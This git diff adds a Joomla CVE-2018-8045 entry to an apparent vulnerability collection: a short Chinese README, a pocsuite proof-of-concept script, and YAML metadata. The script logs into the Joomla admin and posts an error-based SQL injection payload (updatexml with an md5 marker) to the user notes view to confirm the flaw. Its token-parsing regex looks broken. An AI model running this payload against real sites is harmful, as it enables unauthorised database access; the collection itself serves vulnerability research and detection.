diff --git a/cve/joomla/2018/CVE-2018-8045/README.md b/cve/joomla/2018/CVE-2018-8045/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..25e3cf94c58a11e3a769e24a169953eb063c9c70
--- /dev/null
+++ b/cve/joomla/2018/CVE-2018-8045/README.md
@@ -0,0 +1,2 @@
+# CVE-2018-8045
+Joomla内核SQL注入漏洞原理及poc
\ No newline at end of file
diff --git a/cve/joomla/2018/CVE-2018-8045/joomla_user_notes_sqli.py b/cve/joomla/2018/CVE-2018-8045/joomla_user_notes_sqli.py
new file mode 100644
index 0000000000000000000000000000000000000000..e7ae600dc18000840b610f87f495227cf7792687
--- /dev/null
+++ b/cve/joomla/2018/CVE-2018-8045/joomla_user_notes_sqli.py
@@ -0,0 +1,70 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+import re
+import hashlib
+from pocsuite.api.request import req
+from pocsuite.api.poc import register
+from pocsuite.lib.core.data import logger
+from pocsuite.api.poc import Output, POCBase
+from pocsuite.api.utils import randomStr
+from pocsuite.lib.core.enums import CUSTOM_LOGGING
+from urlparse import urljoin
+
+
+class TestPOC(POCBase):
+ vulID = ''
+ version = ''
+ author = 'luckybool1020'
+
+ def get_pass(self, joomla_session):
+ if any(para not in self.params for para in ['user', 'passwd']):
+ logger.log(
+ CUSTOM_LOGGING.SYSINFO,
+ "You can use --extra-params=\"{'user': 'xxx','passwd': 'xxx'}\" to exec command")
+ return self.parse_output(None)
+ else:
+ user, passwd = self.params['user'], self.params['passwd']
+ url = urljoin(self.url, '/administrator/index.php')
+ content = joomla_session.get(url).content
+ re_para = '.*'
+ match = re.findall(re_para, content, re.S)
+ if match:
+ value, token = match[0][0], match[0][1]
+ else:
+ return self.parse_output(None)
+ self.headers = {
+ "Content-Type": "application/x-www-form-urlencoded"
+ }
+ pass_payload = 'username={user}&passwd={passwd}&option=com_login&task=login&return={value}&{token}=1'.format(
+ user=user, passwd=passwd, value=value, token=token)
+ joomla_session.post(
+ url=url, params=None, headers=self.headers, data=pass_payload)
+
+ def _verify(self):
+ '''verify mode'''
+ result = {}
+ joomla_session = req.session()
+ self.get_pass(joomla_session)
+ rand_str = randomStr(10, "0123456789")
+ url = urljoin(self.url, '/administrator/index.php?option=com_users&view=notes')
+ sqli_payload = 'filter[search]=&list[fullordering]=a.review_time DESC&list[limit]=20&filter[published]=1&filter[category_id]=(updatexml(2,concat(0x7e,(md5({randstr}))),0))'.format(
+ randstr=rand_str)
+ r = joomla_session.post(url=url, headers=self.headers, data=sqli_payload)
+ if r.status_code == 500 and hashlib.md5(rand_str).hexdigest()[
+ 0:31] in r.content:
+ result['VerifyInfo'] = {}
+ result['VerifyInfo']['URL'] = url
+ return self.parse_output(result)
+
+ _attack = _verify
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('Internet nothing returned')
+ return output
+
+
+register(TestPOC)
\ No newline at end of file
diff --git a/cve/joomla/2018/yaml/CVE-2018-8045.yaml b/cve/joomla/2018/yaml/CVE-2018-8045.yaml
new file mode 100644
index 0000000000000000000000000000000000000000..b19e536cf57fee6c0f46d19bdeba09cc15ca454f
--- /dev/null
+++ b/cve/joomla/2018/yaml/CVE-2018-8045.yaml
@@ -0,0 +1,21 @@
+id: CVE-2018-8045
+source:
+ https://github.com/luckybool1020/CVE-2018-8045
+info:
+ name: Joomla!是一套自由、开放源代码的内容管理系统,以PHP撰写,用于发布内容在万维网与内部网,通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等,还可以进行二次开发以扩展使用范围。其功能包含可提高性能的页面缓存、RSS馈送、页面的可打印版本、新闻摘要、博客、投票、网站搜索、与语言国际化。Joomla!是一套自由的开源软件,使用GPL许可。
+ severity: high
+ description:
+ 在 Joomla!从3.5.0到3.8.5,SQL 语句中缺少变量类型转换导致用户注释列表视图中存在 SQL 注入漏洞。
+ scope-of-influence:
+ Joomla! 3.5.0 through 3.8.5
+ reference:
+ - https://developer.joomla.org/security-centre/723-20180301-core-sqli-vulnerability.html
+ - https://nvd.nist.gov/vuln/detail/cve-2018-8045
+ classification:
+ cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 8.8
+ cve-id: CVE-2018-8045
+ cwe-id: CWE-89
+ cnvd-id: None
+ kve-id: None
+ tags: SQL注入
\ No newline at end of file
diff --git a/openkylin_list.yaml b/openkylin_list.yaml
index 9fdf2623ad2b75e42ebfe295c9b979dea2af2983..d6a5609bfcf89fcc34af0bef5b95aeba6dbd1d6b 100644
--- a/openkylin_list.yaml
+++ b/openkylin_list.yaml
@@ -149,6 +149,7 @@ cve:
- CVE-2016-2107
joomla:
- CVE-2023-23752
+ - CVE-2018-8045
libxml2:
- CVE-2020-24977
- CVE-2021-3517